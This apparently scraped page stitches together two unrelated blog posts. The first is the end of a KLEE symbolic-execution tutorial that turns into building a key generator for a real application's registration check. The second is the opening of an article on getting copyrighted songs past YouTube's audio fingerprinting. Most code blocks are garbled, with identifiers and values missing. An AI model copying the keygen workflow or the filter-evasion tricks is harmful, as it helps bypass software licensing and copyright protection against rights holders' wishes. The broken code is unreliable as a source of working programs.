constraint `SymVar_1 > 0` for the _true branch_ or conversely `SymVar_1 <= 0`
for the _false branch_. It then continues the execution trying with the first
constraint. Whenever a new path condition is reached, new constraints are
added to the symbolic state, until that condition is no more satisfiable. In
that case, the engine backtracks and replaces some constraints with their
negation, in order to reach other code paths. The execution engine tries to
cover all code paths, by solving those constraints and their negations. For
each portion of the code reached, the symbolic engine outputs a test case
covering that part of the program, providing concrete values for the input
variables. In the particular example given, the engine continues the
execution, and finds the condition `v2 == 0 && v1 <= 0` at line 4. The path
formula becomes so: `SymVar_1 > 0 && (SymVar_2 == 0 && SymVar_1 <= 0)`, that
is not satisfiable. The symbolic engine provides then values for the variables
that satisfies the previous formula \(`SymVar_1 > 0`\). For example `SymVar_1
= 1` and some random value for `SymVar_2`. The engine then backtrack to the
previous branch and uses the negation of the constraint, that is `SymVar_1 <=
0`. It then adds the negation of the current constraint to cover the false
branch, obtaining `SymVar_1 <= 0 && (SymVar_2 != 0 || SymVar_1 > 0)`. This is
satisfiable with `SymVar_1 = -1` and `SymVar_2 = 0`. This concludes the
analysis of the program paths, and our symbolic execution engine can output
the following test cases:

  * `v1 = 1`;
  * `v1 = -1`, `v2 = 0`.

Those test cases are enough to cover all the paths of the program.

This approach is useful for testing because it helps generating test cases. It
is often effective, and it does not waste computational power of your brain.
You know… tests are very difficult to do effectively, and brain power is such
a scarce resource\!

I don’t want to elaborate too much on this topic because it is way too big to
fit in this post. Moreover, we are not going to use symbolic execution engines
for testing purpose. This is just because we don’t like to use things in the
way they are intended :\)

However, I will point you to some good references in the last section. Here I
can list a series of common strengths and weaknesses of symbolic execution,
just to give you a little bit of background:

Strengths:

  * when a test case fails, the program is proven to be incorrect;
  * automatic test cases catch errors that often are overlooked in manual written test cases \(this is from KLEE paper\);
  * when it works it’s cool :\) \(and this is from Jérémy\);

Weaknesses:

  * when no tests fail we are not sure everything is correct, because no proof of correctness is given; static analysis can do that when it works \(and often it does not\!\);
  * covering all the paths is not enough, because a variable can hold different values in one path and only some of them cause a bug;
  * complete coverage for non trivial programs is often impossible, due to path explosion or constraint solver timeout;
  * scaling is difficult, and execution time of the engine can suffer;
  * undefined behavior of CPU could lead to unexpected results;
  * … and maybe there are a lot more remarks to add.

KLEE is a great example of a symbolic execution engine. It operates on LLVM
byte code, and it is used for software verification purposes. KLEE is capable
to automatically generate test cases achieving high code coverage. KLEE is
also able to find memory errors such as out of bound array accesses and many
other common errors. To do that, it needs an LLVM byte code version of the
program, symbolic variables and \(optionally\) assertions. I have also
prepared a Docker image with `clang` and `klee` already configured and ready
to use. So, you have no excuses to not try it out\! Take this example
function:

|

[code]

    #define FALSE 0
    #define TRUE 1
    typedef  
     check_arg  
            return FALSE
           <= 
            return 
        return FALSE // not reachable
    
[/code]  
---|---  
This is actually a silly example, I know, but let’s pretend to verify this
function with this main:

|

[code]

    #include <assert.h>
    #include <klee/klee.h>
         input
        klee_make_symbolicinput sizeof "input"
        return check_arginput
    
[/code]  
---|---  
In `main` we have a symbolic variable used as input for the function to be
tested. We can also modify it to include an assertion:

|

[code]

     check_arg  
            return FALSE
           <= 
            return 
        klee_assertFALSE
        return FALSE // not reachable
    
[/code]  
---|---  
We can now use `clang` to compile the program to the LLVM byte code and run
the test generation with the `klee` command:

|

[code]

    clang      
    
[/code]  
---|---  
We get this output:

|

[code]

    KLEE: output directory  "/work/klee-out-0"
    KLEE:  total instructions  
    KLEE:  completed paths  
    KLEE:  generated tests  
    
[/code]  
---|---  
KLEE will generate test cases for the `input` variable, trying to cover all
the possible execution paths and to make the provided assertions to fail \(if
any given\). In this case we have two execution paths and two generated test
cases, covering them. Test cases are in the output directory \(in this case
`/work/klee-out-0`\). The soft link `klee-last` is also provided for
convenience, pointing to the last output directory. Inside that directory a
bunch of files were created, including the two test cases named
`test000001.ktest` and `test000002.ktest`. These are binary files, which can
be examined with the `ktest-tool` utility. Let’s try it:

|

[code]

     ktest write test000001ktest
    ktest   test000001ktest
     objects 
    object      input
    object      
    object      2147483647
    
[/code]  
---|---  
And the second one:

|

[code]

     ktest write test000002ktest
    object      
    
[/code]  
---|---  
In these test files, KLEE reports the command line arguments, the symbolic
objects along with their size and the value provided for the test. To cover
the whole program, we need `input` variable to get a value greater than 10 and
one below or equal. You can see that this is the case: in the first test case
the value 2147483647 is used, covering the first branch, while 0 is provided
for the second, covering the other branch.

So far, so good. But what if we change the function in this way?

|

[code]

     check_arg  
            return FALSE
                // instead of <=
            return 
        klee_assertFALSE
        return FALSE       // now reachable
    
[/code]  
---|---  
We get this output:

|

[code]

    KLEE: output directory  "/work/klee-out-2"
    KLEE: ERROR  ASSERTION  
    KLEE:   ignoring  error   location
    KLEE:  total instructions  
    KLEE:  completed paths  
    KLEE:  generated tests  
    
[/code]  
---|---  
And this is the `klee-last` directory contents:

|

[code]

    assembly   istats        test000002assert  test000003ktest
              stats         test000002ktest       warnings
    messages  test000001ktest  test000002
    
[/code]  
---|---  
Note the `test000002.assert.err` file. If we examine its corresponding test
file, we have:

|

[code]

     ktest write test000002ktest
    ktest   test000002ktest
    object      
    
[/code]  
---|---  
As we had expected, the assertion fails when `input` value is 10. So, as we
now have three execution paths, we also have three test cases, and the whole
program gets covered. KLEE provides also the possibility to replay the tests
with the real program, but we are not interested in it now. You can see a
usage example in this KLEE tutorial.

KLEE’s abilities to find execution paths of an application are very good.
According to the OSDI 2008 paper, KLEE has been successfully used to test all
89 stand-alone programs in GNU COREUTILS and the equivalent busybox port,
finding previously undiscovered bugs, errors and inconsistencies. The achieved
code coverage were more than 90% per tool. Pretty awesome\!

But, you may ask: The question is, who cares?. You will see it in a moment.

## KLEE to reverse a function

As we have a powerful tool to find execution paths, we can use it to find the
path we are interested in. As showed by the nice symbolic maze post of Feliam,
we can use KLEE to solve a maze. The idea is simple but very powerful: flag
the portion of code you interested in with a `klee_assert(0)` call, causing
KLEE to highlight the test case able to reach that point. In the maze example,
this is as simple as changing a `read` call with a `klee_make_symbolic` and
the `prinft("You win!\n")` with the already mentioned `klee_assert(0)`. Test
cases triggering this assertion are the one solving the maze\!

For a concrete example, let’s suppose we have this function:

|

[code]

     magic_computation input 
            input   << 
        return input
    
[/code]  
---|---  
And we want to know for what input we get the output 253. A main that tests
this could be:

|

[code]

         input  
         output  magic_computationinput
         output  
            printf"You win!
            printf"You lose
        return 
    
[/code]  
---|---  
KLEE can resolve this problem for us, if we provide symbolic inputs and
actually an assert to trigger:

|

[code]

         input result
        klee_make_symbolicinput sizeof "input"
        result  magic_computationinput
         result  
            klee_assert
        return 
    
[/code]  
---|---  
Run KLEE and print the result:

|

[code]

     clang    magic  magic
      magic
     ktest write test000001ktest
    ktest   test000001ktest
            magic
     objects 
    object      input
    object      
    object      
    
[/code]  
---|---  
The answer is -254. Let’s test it:

|

[code]

      magic
    
[/code]  
---|---  
## KLEE, libc and command line arguments

Not all the functions are so simple. At least we could have calls to the C
standard library such as `strlen`, `atoi`, and such. We cannot link our test
code with the system available C library, as it is not inspectable by KLEE.
For example:

|

[code]

         input  
        return input
    
[/code]  
---|---  
If we run it with KLEE we get this error:

|

[code]

     clang      
    KLEE: output directory  "/work/klee-out-4"
    KLEE: WARNING undefined reference  function 
    KLEE: WARNING  calling external 
    KLEE: ERROR  failed external  
    KLEE:   ignoring  error   location
    
[/code]  
---|---  
To fix this we can use the KLEE uClibc and POSIX runtime. Taken from the help:

_“If we were running a normal native application, it would have been linked
with the C library, but in this case KLEE is running the LLVM bitcode file
directly. In order for KLEE to work effectively, it needs to have definitions
for all the external functions the program may call. Similarly, a native
application would be running on top of an operating system that provides lower
level facilities like write\(\), which the C library uses in its
implementation. As before, KLEE needs definitions for these functions in order
to fully understand the program. We provide a POSIX runtime which is designed
to work with KLEE and the uClibc library to provide the majority of operating
system facilities used by command line applications”_.

Let’s try to use these facilities to test our `atoi` function:

|

[code]

      optimize uclibc posixruntime     
    KLEE:  Using uclibc  localruntimeuclibc
    KLEE:  Using model localruntimelibkleeRuntimePOSIX
    KLEE: output directory  "/work/klee-out-5"
    KLEE: WARNING  calling external syscall  21505 70495424
    KLEE: ERROR uclibcstdlibstdlib memory error   bound pointer
    KLEE:   ignoring  error   location
    KLEE:  total instructions  
    KLEE:  completed paths  
    KLEE:  generated tests  
    
[/code]  
---|---  
And KLEE founds the possible out of bound access in our program. Because you
know, our program is bugged :\) Before to jump and fix our code, let me
briefly explain what these new flags did:

  * `--optimize`: this is for dead code elimination. It is actually a good idea to use this flag when working with non-trivial applications, since it speeds things up;
  * `--libc=uclibc` and `--posix-runtime`: these are the aforementioned options for uClibc and POSIX runtime;
  * `--sym-args 0 1 3`: this flag tells KLEE to run the program with minimum 0 and maximum 1 argument of length 3, and make the arguments symbolic.

Note that adding `atoi` function to our code, adds 68 execution paths to the
program. Using many libc functions in our code adds complexity, so we have to
use them carefully when we want to reverse complex functions.

Let now make the program safe by adding a check to the command line argument
length. Let’s also add an assertion, because it is fun :\)

|

[code]

    #include <stdlib.h>
    #include <assert.h>
    #include <klee/klee.h>
         result        
         result  
            klee_assert
        return result
    
[/code]  
---|---  
We could also have written `klee_assert(result != 42)`, and get the same
result. No matter what solution we adopt, now we have to run KLEE as before:

|

[code]

     clang    atoi2  atoi2
      optimize uclibc posixruntime atoi2    
    KLEE:  Using uclibc  localruntimeuclibc
    KLEE:  Using model localruntimelibkleeRuntimePOSIX
    KLEE: output directory  "/work/klee-out-6"
    KLEE: WARNING  calling external syscall  21505 53243904
    KLEE: ERROR atoi2 ASSERTION  
    KLEE:   ignoring  error   location
    KLEE:  total instructions  
    KLEE:  completed paths  
    KLEE:  generated tests  
    
[/code]  
---|---  
Here we go\! We have fixed our bug. KLEE is also able to find an input to make
the assertion fail:

|

[code]

    test000016assert
     ktest test000016ktest
    ktest   test000016ktest
     objects 
    object      
    object      
    object      
    
[/code]  
---|---  
And the answer is the string “+42”… as we know.

There are many other KLEE options and functionalities, but let’s move on and
try to solve our original problem. Interested readers can find a good
tutorial, for example, in How to Use KLEE to Test GNU Coreutils.

## KLEE keygen

Now that we know basic KLEE commands, we can try to apply them to our
particular case. We have understood some of the validation algorithm, but we
don’t know the computation details. They are just a mess of arithmetical and
logical operations that we are tired to analyze.

Here is our plan:

  * we need at least a valid customer number, a serial number and a mail address;
  * more ambitiously we want a list of them, to make a key generator.

This is a possibility:

|

[code]

    // copy and paste of all the registration code
        ERROR
        STANDARD
     license_type  ERROR
    // ...
     result_t check_registration serial  customer_num const  
    // ...
         serial customer
         result_t result
        klee_make_symbolicserial sizeofserial "serial"
        klee_make_symboliccustomer sizeofcustomer "customer"
        klee_make_symbolic sizeof "mail"
        valid  check_registrationserial customer 
        valid  license_type  
        klee_assertvalid
    
[/code]  
---|---  
Super simple. Copy and paste everything, make the inputs symbolic and assert a
certain result \(negated, of course\).

No\! That’s not so simple. This is actually the most difficult part of the
game. First of all, what do we want to copy? We don’t have the source code. In
my case I used Hex-Rays decompiler, so maybe I have cheated. When you
decompile, however, you don’t get immediately a compilable C source code,
since there could be dependencies between functions, global variables, and
specific Hex-Rays types. For this latter problem I’ve prepared a `ida_defs.h`
header, providing defines coming from IDA and from Windows headers.

But what to copy? The high level picture of the validation algorithm I have
presented is an ideal one. The `check_registration` function is actually a big
set of auxiliary functions and data, very tightened with other parts of the
program. Even if we now know the most interesting functions, we need to know
how much of the related code, is useful or not. We cannot throw everything in
our key generator, since every function brings itself other related data and
functions. In this way we will end up having the whole program in it. We need
to minimize the code KLEE has to analyze, otherwise it will be too difficult
to have its job done.

This is a picture of the high level workflow, as IDA proximity view proposes:

<img src='img/Temp2_4792.png' alt='Known license functions' />

and this is the overview for a single node of this schema \(precisely
`license_getType`\):

<img src='img/Temp2_4791.png' alt='license_getType overview' />

As you can imagine, the complete call graph becomes really big in the end.

In the cleanup process I have done, a big bunch of functions removed is the
one extracting and loading the table of valid mail addresses. To do this I
stepped with the debugger until the table was completely loaded and then
dumped the memory of the process. Then I’ve used a nice “export to C array”
functionality of HEX Workshop, to export the actual piece of memory of the
mail table to actual code:

|

[code]

    uint16_t hashHeader 
        // ...
    int16_t hashData1000000 
        15306 18899 18957 24162 63045 26834  39653 271441 
        // ...
    
[/code]  
---|---  
But, cutting out code is not the only problem I’ve found in this step.
External constraints must be carefully considered. For example the time
function can be handled by KLEE itself. KLEE tries to generate useful values
even from that function. This is good if we want to test bugs related to a
strange current time, but in our case, since the code will be executed by the
program _at a particular time_ , we are only interested in the value provided
at that time. We don’t want KLEE traits this function as symbolic; we only
want the right time value. To solve that problem, I have replaced all the
calls to `time` to a `my_time` function, returning a fixed value, defined in
the source code.

Another problem comes from the extraction of the functions from their outer
context. Often code is written with _implicit conventions_ in mind. These are
not self-evident in the code because checks are avoided. A trivial example is
the null terminator and valid ASCII characters in strings. KLEE does not
assume those constraints, but the validation code does. This is because the
GUI provides only valid strings. A less trivial example is that the mail
address is always passed lowercase from the GUI to the lower level application
logic. This is not self-evident if you do not follow every step from the user
input to the actual computations with the data.

The solution to this latter problem is to provide those constraints to KLEE:

|

[code]

    klee_make_symbolic sizeof "mail"
          sizeof    
        klee_assume  >=    <=    >=    <=      
    klee_assumesizeof    
    
[/code]  
---|---  
Logical operators inside `klee_assume` function are bitwise and not logical
\(i.e. `&` and `|` instead of `&&` and `||`\) because they are simpler, since
they do not add the extra branches required by lazy operators.

## Throw everything into KLEE

Having extracted all the needed functions and global data and solved all the
issues with the code, we can now move on and run KLEE with our brand new test
program:

|

[code]

     clang    attempt1  attempt1
      optimize uclibc posixruntime attempt1
    
[/code]  
---|---  
And then wait for an answer.

And wait for another while.

Make some coffee, drink it, come back and watch the PC heating up.

Go out, walk around, come back, have a shower, and…. oh no\! It’s still
running\! OK, that’s enough\! Let’s kill it.

## Deconstruction approach

We have assumed too much from the tool. It’s time to use the brain and ease
its work a little bit.

Let’s decompose the big picture of the registration check presented before
piece by piece. We will try to solve it bit by bit, to reduce the solution
space and so, the complexity.

Recall that the algorithm is composed by three main conditions:

  * serial number must be valid by itself;
  * serial number, combined with mail address have to correspond to the actual customer number;
  * there has to be a correspondence between serial number and mail address, stored in a static table in the binary.

Can we split them in different KLEE runs?

Clearly the first one can be written as:

|

[code]

    #include <assert.h>
    #include <klee/klee.h>
    // include all the functions extracted from the program
    #include "extracted_code.c"
        ERROR
        STANDARD
     license_type  ERROR
         serial valid
        klee_make_symbolicserial sizeofserial "serial"
        license_type  get_license_typeserial
        valid  license_type  
        klee_assertvalid
    
[/code]  
---|---  
And let’s see if KLEE can work with this single function:

|

[code]

     clang    serial_type  serial_type
      optimize uclibc posixruntime serial_type
    KLEE: ERROR symbolicserial_type ASSERTION  valid
    test000019assert
     ktest write test000019ktest
    ktest   test000019ktest
            serial_type
     objects 
    object      model_version
    object      
    object      
    object      serial
    object      
    object      102690141
    
[/code]  
---|---  
Yes\! we now have a serial number that is considered PRO by our target
application.

The third condition is less simple: we have a table in which are stored values
matching mail addresses with serial numbers. The high level check is this:

|

[code]

     check serial   
         index  get_index_in_mail_tableserial
         index  HEADER_SIZE
            return VALID_IF_LAST_VERSION
         mail_digest  compute_mail_digest
             mail_digest_tableindex    mail_digest
                return VALID
        return INVALID
    
[/code]  
---|---  
This piece of code imposes constraints on our mail address and serial number,
but not on the customer number. We can rewrite the checks in two parts, the
one checking the serial, and the one checking the mail address:

|

[code]

     check_serial serial   
         index  get_index_in_mail_tableserial
         valid  index <= HEADER_SIZE
     check_mail   index 
         mail_digest  compute_mail_digest
             mail_digest_tableindex    mail_digest
                return 
        return 
    
[/code]  
---|---  
The `check_mail` function needs the index in the table as secondary input, so
it is not completely independent from the other check function. However,
`check_mail` can be incorporated by our successful test program used before:

|

[code]

    // ...
         serial valid index
        klee_make_symbolicserial sizeofserial "serial"
        license_type  get_license_typeserial
        valid  license_type  
        // added just now
        index  get_index_in_mail_tableserial
        valid  index <= HEADER_SIZE
        klee_assertvalid
    
[/code]  
---|---  
And if we run it, we get our revised serial number, that satisfies the
additional constraint:

|

[code]

     clang    serial  serial
      optimize uclibc posixruntime serial
    KLEE: ERROR symbolicserial ASSERTION  valid
    test000032assert
     ktest write test000019ktest
    object      serial
    object      120300641
    
[/code]  
---|---  
For those who are wondering if `get_index_in_mail_table` could return a
negative index, and so possibly crash the program I can answer that they are
not alone. @0vercl0k asked me the same question, and unfortunately I have to
answer a no. I tried, because I am a lazy ass, by changing the assertion above
to `klee_assert(index < 0)`, but it was not triggered by KLEE. I then manually
checked the function’s code and I saw a beautiful `if (result < 0) result =
0`. So, the answer is no\! You have not found a vulnerability in the
application :\(

For the `check_mail` solution we have to provide the index of a serial, but
wait… we have it\! We have now a serial, so, computing the index of the table
is simple as executing this:

|

[code]

     index  get_index_in_mail_tableserial
    
[/code]  
---|---  
Therefore, given a serial number, we can solve the mail address in this way:

|

[code]

    // ...
         serial valid index
        // mail is symbolic
        klee_make_symbolic sizeof "mail"
              sizeof   
            klee_assume  >=    <=    >=    <=      
        klee_assumesizeof    
        // get serial as external input
            return 
        serial  
        // compute index
        index  get_index_in_mail_tableserial
        // check validity
        valid  check_mail index
        klee_assertvalid
    
[/code]  
---|---  
We only have to run KLEE with the additional serial argument, providing the
computed one by the previous step.

|

[code]

     clang      
      optimize uclibc posixruntime  120300641
    KLEE: ERROR symbolic ASSERTION  valid
    test000023assert
     ktest test000023ktest
    object      
    object      
    
[/code]  
---|---  
OK, the mail found by KLEE is “yrwt”. This is not a mail, of course, but in
the code there is not a proper validation imposing the presence of ‘@’ and ‘.’
chars, so we are fine with it :\)

The last piece of the puzzle we need is the customer number. Here is the
check:

|

[code]

     expected_customer  compute_customer_numberserial 
     expected_customer  customer_num
        return INVALID
    
[/code]  
---|---  
This is simpler than before, since we already have a serial and a mail, so the
only thing missing is a customer number matching those. We can compute it
directly, even without symbolic execution:

|

[code]

            return 
         serial  
         customer_number  compute_customer_numberserial 
        printf customer_number
        return 
    
[/code]  
---|---  
Let’s execute it:

|

[code]

      customer customer
     customer 120300641 
    1175211979
    
[/code]  
---|---  
Yeah\! And if we try those numbers and mail address onto the real program, we
are now legit and registered users :\)

## Want more keys?

We have just found one key, and that’s cool, but what about making a keygen?
KLEE is deterministic, so if you run the same code over and over you will get
always the same results. So, we are now stuck with this single serial.

To solve the problem we have to think about what variables we can move around
to get different valid serial numbers to start with, and with them solve
related mail addresses and compute a customer number.

We have to add constraints to the serial generation, so that every time we can
run a slightly different version of the program and get a different serial
number. The simplest thing to do is to constraint `get_index_in_mail_table` to
return an index inside a proper subset of the range \[0, `HEADER_SIZE`\] used
before. For example we can divide it in equal chunks of size 5 and run the
whole thing for every chunk.

This is the modified version of the serial generation:

|

[code]

         serial min_index max_index valid
        // get chunk bounds as external inputs
            return 
        min_index 
        max_index 
        // check and assert
        index  get_index_in_mail_tableserial
        valid  index >= min_index  index  max_index
        klee_assertvalid
        return 
    
[/code]  
---|---  
We now need a script that runs KLEE and collect the results for all those
chunks. Here it is:

|

[code]

    #!/bin/bash
    MIN_INDEX0
    MAX_INDEX8033
     "Index;License;Mail;Customer"
    INDEX in seq $MIN_INDEX $STEP $MAX_INDEX; 
     -n "$INDEX;"
        CHUNK_MIN$INDEX
        CHUNK_MAX CHUNK_MIN  STEP 
        LICENSE./solve.sh serial.ll $CHUNK_MIN $CHUNK_MAX
          -z "$LICENSE" ; 
            continue
    MAIL_ARRAY./solve.sh mail.ll $LICENSE
          -z "$MAIL_ARRAY" ; 
            continue
    sed 's/\\x00//g' <<< $MAIL_ARRAY | sed "s/'//g"
        CUSTOMER./customer $LICENSE $MAIL
         "$LICENSE;$MAIL;$CUSTOMER"
    
[/code]  
---|---  
This script uses the `solve.sh` script, that does the actual work and prints
the result of KLEE runs:

|

[code]

    #!/bin/bash
    # do work
    klee  >/dev/null 2>&1
    # print result
    ASSERT_FILEls klee-last | grep .assert.err
    TEST_FILEbasename klee-last/$ASSERT_FILE .assert.err
    OUTPUTktest-tool --write-ints klee-last/$TEST_FILE.ktest | grep data
    RESULTsed 's/.*:.*: //' <<< $OUTPUT
     $RESULT
    # cleanup
    rm -rf readlink -f klee-last
    rm -f klee-last
    
[/code]  
---|---  
Here is the final run:

|

[code]

    ./keygen_all.sh
    Index;License;Mail;Customer
    2400;;;
    2405;115019227;4h79;1162863222
    2410;112625605;7cxd;554797040
    
[/code]  
---|---  
Note that not all the serial numbers are solvable, but we are OK with that. We
now have a bunch of solved registrations. We can put them in some simple GUI
that exposes to the user one of them randomly.

That’s all folks.

# Conclusion

This was a brief journey into the magic world of reversing and symbolic
execution. We started with the dream to make a key generator for a real world
application, and we’ve got a list of serial numbers to put in some nice GUI
\(maybe with some MIDI soundtrack playing in the background to make users
crazy\). But this was not our purpose. The path we followed is far more
interesting than ruining programmer’s life. So, just to recap, here are the
main steps we followed to generate our serial numbers:

  1. reverse the skeleton of the serial number validation procedure, understanding data and the most important functions, using a debugger, IDA, and all the reversing tools we can access;
  2. collect the functions and produce a C version of them \(this could be quite difficult, unless you have access to HEX-Rays decompiler or similar tool\);
  3. mark some strategic variable as symbolic and mark some strategic code path with an assert;
  4. ask KLEE to provide us the values for symbolic variables that make the assert to fail, and so to reach that code path;
  5. since the last step provides us only a single serial number, add an external input to the symbolic program, using it as additional constraint, in order to get different values for symbolic variables reaching the assert.

The last point can be seen as quite obscure, I can admit that, but the idea is
simple. Since KLEE’s goal is to reach a path with some values for the symbolic
variables, it is not interested in exploring all the possibilities for those
values. We can force this exploration manually, by adding an additional
constraint, and varying a parameter from run to run, and get \(hopefully\)
different correct values for our serial number.

I would like to thank @0vercl0k, @jonathansalwan and @\_\_x86 for their
careful proofreading and good remarks\!

I hope you found this topic interesting. In the case, here are some links that
can be useful for you to deepen some of the arguments touched in this post:

  * KLEE main site in which you can find documentation, examples and some news;
  * My Docker image of KLEE that you can use as is if you want to avoid building KLEE from sources. It is an automated build \(sources here\) so you can use it safely;
  * Tutorial on using KLEE onto GNU Coreutils is here if you want to learn to use better KLEE for testing purposes.
  * The Feliam’s article The Symbolic Maze\! that gave me insights on how to use KLEE for reversing purposes;
  * The paper Symbolic execution and program testing of James C. King gives you a nice intro on symbolic execution topic;
  * Slides from this Harvard course are useful to visualize symbolic execution with nice figures and examples;
  * Dynamic Binary Analysis and Instrumentation Covering a function using a DSE approach by Jonathan Salwan.

Source code, examples and scripts used to produce this blog post are published
in this GitHub repo.

Cheers, @brt\_device.

# Fun with YouTube's Audio Content ID System

**Created:**| _4/23/2010 6:37:37 PM_  
---|---  
**Updated:**| _5/3/2010 7:40:44 AM_  
**Author:**| __  
**Tags:**| _reversing web Fingerprinting content security awesome_  
  

# Fun with YouTube's Audio Content ID System

### A marginally scientific analysis by Scott Smitelli. Emails?
parallax@csh.rit.edu.

_**Update 4/21/2010:** The YouTube account I used to upload my test videos,
`retnirpregnif`, was removed due to a "terms of use violation" in late January
or early February of 2010. YouTube never sent me any kind of notice or alert
explaining their rationale for the termination of my account, so all I can do
is guess. But I'm fairly certain that an actual human pulled the account, not
an automated system. The remainder of this article remains unaltered from its
original April 2009 state. Oh, and mark my words, I'll be back someday._

Anybody who hasn't been living under a rock knows about YouTube. It's a video
site built entirely around user-submitted content. Anybody can film anything,
upload it to the site, and anybody on the Internet can watch it if they so
choose. Sounds great in theory, but over time it's succumbed to a very basic
problem: The users can't be trusted.

Copyrighted material -- TV shows, music videos, concerts, even entire feature
films -- have popped up on YouTube in huge quantities. Obviously, the
copyright owners and content providers don't like this, especially when such
free distribution cuts into their bottom line. Back in the day, a copyright
holder would have to stumble across an infringing video, contact YouTube, and
ask them to take it down manually. It doesn't take a genius to realize that
the content providers couldn't keep that up forever, especially as more and
more new users kept pouring in.

## Enter Fingerprinting

YouTube narrowly avoided legal trouble by promising the big media companies
that they'd develop a system that could detect and automatically remove any
copyrighted material that was uploaded to the site. But in reality, they
didn't actually develop the audio fingerprinting system; they licensed it from
a company called Audible Magic.

Audible Magic originally wrote software for CD duplication companies. When you
handed a master disc off to a duplication house, they'd check it with an
Audible Magic system first. The goal was to positively identify every song on
the disc, as well as the copyright/licensing status,  _before_ the company ran
off 10,000 copies of your potentially pirated disc.

YouTube jumped at this technology and worked to integrate it into their site.
It scanned over all the uploads and generated a "fingerprint" for each video.
It would then compare each fingerprint to a database containing practically
every copyrighted work that the media companies wanted to keep off the site.
If any videos matched, it was assumed that the user has posted copyrighted
material without permission and the infringing video was removed.

Some labels got the right idea, though. Instead of demanding that any
infringing content be taken down, some chose to promote their material or
insert links to pay music sites where you could purchase the songs that were
being played. That was an amazing idea: It permitted the users to basically do
whatever they wanted copyright-wise, while still driving traffic and potential
sales to legitimate music retailers.

## Heating Up

That worked well enough for a time, but the media companies weren't satiated
yet. A slew of legal threats, negotiations, and all-around chicanery ensued.
After all, YouTube was making money by running ads alongside videos which
often contained material from these companies, and they all wanted a piece.

Unfortunately, nothing seemed to please Warner Music Group, who left the talks
without reaching an agreement. They then demanded that YouTube remove every
single piece of WMG-owned media on the site. Videos disappeared all over the
place.

## This Is Where I Came In

I don't consider myself to be much more than a casual YouTube user. I'll
upload maybe one or two things a year, but nothing amazing or anything I put
any real effort into.

For example, one of my videos depicts three members of my high school's
marching band dressed in pajamas at an overly girly sleepover. The song used
in the background was "I Know What Boys Like" by The Waitresses. I thought it
was hilarious when I was 17, but I had all but forgotten about it five years
later.

I was caught by surprise one day when I received an automated email from
YouTube informing me that my video had a music rights issue and it was removed
from the site. I didn't really care.

Then a car commercial parody I made \(arguably one of my better videos\) was
taken down because I used an unlicensed song. That pissed me off. I couldn't
easily go back and re-edit the video to remove the song, as the source media
had long since been archived in a shoebox somewhere. And I couldn't simply re-
upload the video, as it got identified and taken down every time. I needed to
find a way to outsmart the fingerprinter. I was angry and I had a lot of free
time. Not a good combination.

I racked my brain trying to think of every possible audio manipulation that
might get by the fingerprinter. I came up with an almost-scientific method for
testing each modification, and I got to work.

## Methodology

The song chosen for all the tests is "I Know What Boys Like," a 1982 song by
the one-hit wonder group The Waitresses. This song was chosen for several
reasons:

  * It was the first song I ever saw that was identified and removed by YouTube's fingerprinting system.
  * It has a very distinctive sound that I thought would be easily identifiable. It's also really repetitive, which probably makes it an easy target for an automated system to detect.
  * It's one of the few songs I actually have readily available in an uncompressed format. The majority of my music collection is stored with lossy data compression, which might have impacted the results.
  * In general, it's just a terrible song. I wanted to highlight the fact that somewhere out there, somebody thinks this 27-year-old heap is still valuable enough to be barred from YouTube.

The song originally came from a 1990 CD pressing of "The Best of the
Waitresses," which I came across during my freshman year of college. I was so
surprised to see a copy of this album, I begged the owner to allow me to make
a copy for posterity \(and also for hilarity\). I used Nero Burning ROM to
make a bit-perfect copy of the full album onto a CD-R. I then listened to my
copy, laughed at the majority of it, then stored it in a CD binder.

Fast-forward to the present day, when I decided to run these tests. I ripped
my copy of the album with Exact Audio Copy in "secure" mode. The result was a
16-bit stereo, 44,100 Hz PCM wave file. This was used as the master file for
all the tests.

For each test, a duplicate copy of the master file was manipulated.
Practically every change to the audio was made in Adobe Audition 3 on Windows.
The modified duplicates were saved as 44,100/16 stereo waves and moved over to
a Mac.

Each file was loaded into an empty Final Cut Pro sequence. The video settings,
although theoretically irrelevant, were always set to 24 FPS, progressive,
NTSC 720x480 @ 4:3, with 44.1/16 stereo downmix audio. The audio files were
matched with a default Text generator which described the test being
performed. The resulting video files were saved in DV NTSC QuickTime format.

From there, the files were moved into Apple Compressor where they were batch
converted into a format YouTube would accept. I chose the "H.264 for iPod
video and iPhone 320x240 \(QVGA\)" setting, which encodes reasonably fast with
excellent quality. The final output files were M4V containers with H.264 video
and AAC stereo audio.

Finally, the video files were uploaded to my YouTube test account. I chose the
name retnirpregnif, which is the word "fingerprinter" backwards. The title of
each uploaded video was always set to a description of that particular test.
In all but one test, the description was set to 'The song is "I Know What Boys
Like" by The Waitresses.' I chose that description to see if the presence or
absence of a copyrighted song name in any of the metadata fields influenced
the detection. The tags, category, and any other fields were left blank, and
possibly auto-filled by the uploader.

I considered a test passed if the status line on my account's "Uploaded
Videos" page read "Live\!" and the thumbnail had been generated. \(Also, if
the video actually played, that's a big plus.\) If a video had a status of
"Matched third party content" or I received an email about a particular video,
I considered that test failed.

**Please note** that these tests are only meant to test the **AUDIO** aspect
of YouTube's fingerprinting system. They probably have a similar feature in
place to scan for content in the image data, but I make no effort to test that
in this document. The video fingerprinter might be susceptible to tweaks like
those I describe below, or it might be an entirely different can of worms.
I'll leave it to somebody else to figure that one out.

## The Tests

### No Description

For the first test, I uploaded a completely unmodified copy of the entire
song, but with a description field that read "No Description." The purpose of
this test was to determine if YouTube could still identify the material if
none of the user-submitted metadata gave any indication that it was there.

### Reverse

The entire song was reversed. The purpose of this test was to determine how
discriminating the fingerprinter was. If the test passed, it would reveal the
systems inability to identify a song which is playing backwards.

<img src='img/Temp2_3319.gif' alt='Pitch Alteration' />

### Pitch Alteration

The entire song was modified with Audition's "Stretch" plugin. In all tests,
the Precision was set to High, Constant Vowels was off, Preserve speech
Characteristics was on, Formant Shift was 0, and Solo Instrument or Voice was
on. \(Admittedly, it should've been off, but that would've taken friggin'
forever to process.\)

For these tests, the Stretching Mode was Pitch Shift. The Ratio was changed
from test to test to create varying amounts of pitch change.

These tests created an output file with exactly the same length and speed as
the source, but with the pitch increased or decreased. These tests were
designed to determine if the fingerprinter looks at the "notes" the song is
made of.  

<img src='img/Temp2_3318.gif' alt='Time Alteration' />

### Time Alteration

The entire song was modified with Audition's "Stretch" plugin. In all tests,
the Precision was set to High, Constant Vowels was off, Preserve speech
Characteristics was on, Formant Shift was 0, and Solo Instrument or Voice was
on.

For these tests, the Stretching Mode was Time Stretch. The Ratio was changed
from test to test to create varying amounts of tempo change.

These tests created an output file with exactly the same notes as the source,
but with the speed \(tempo\) increased or decreased. These tests were designed
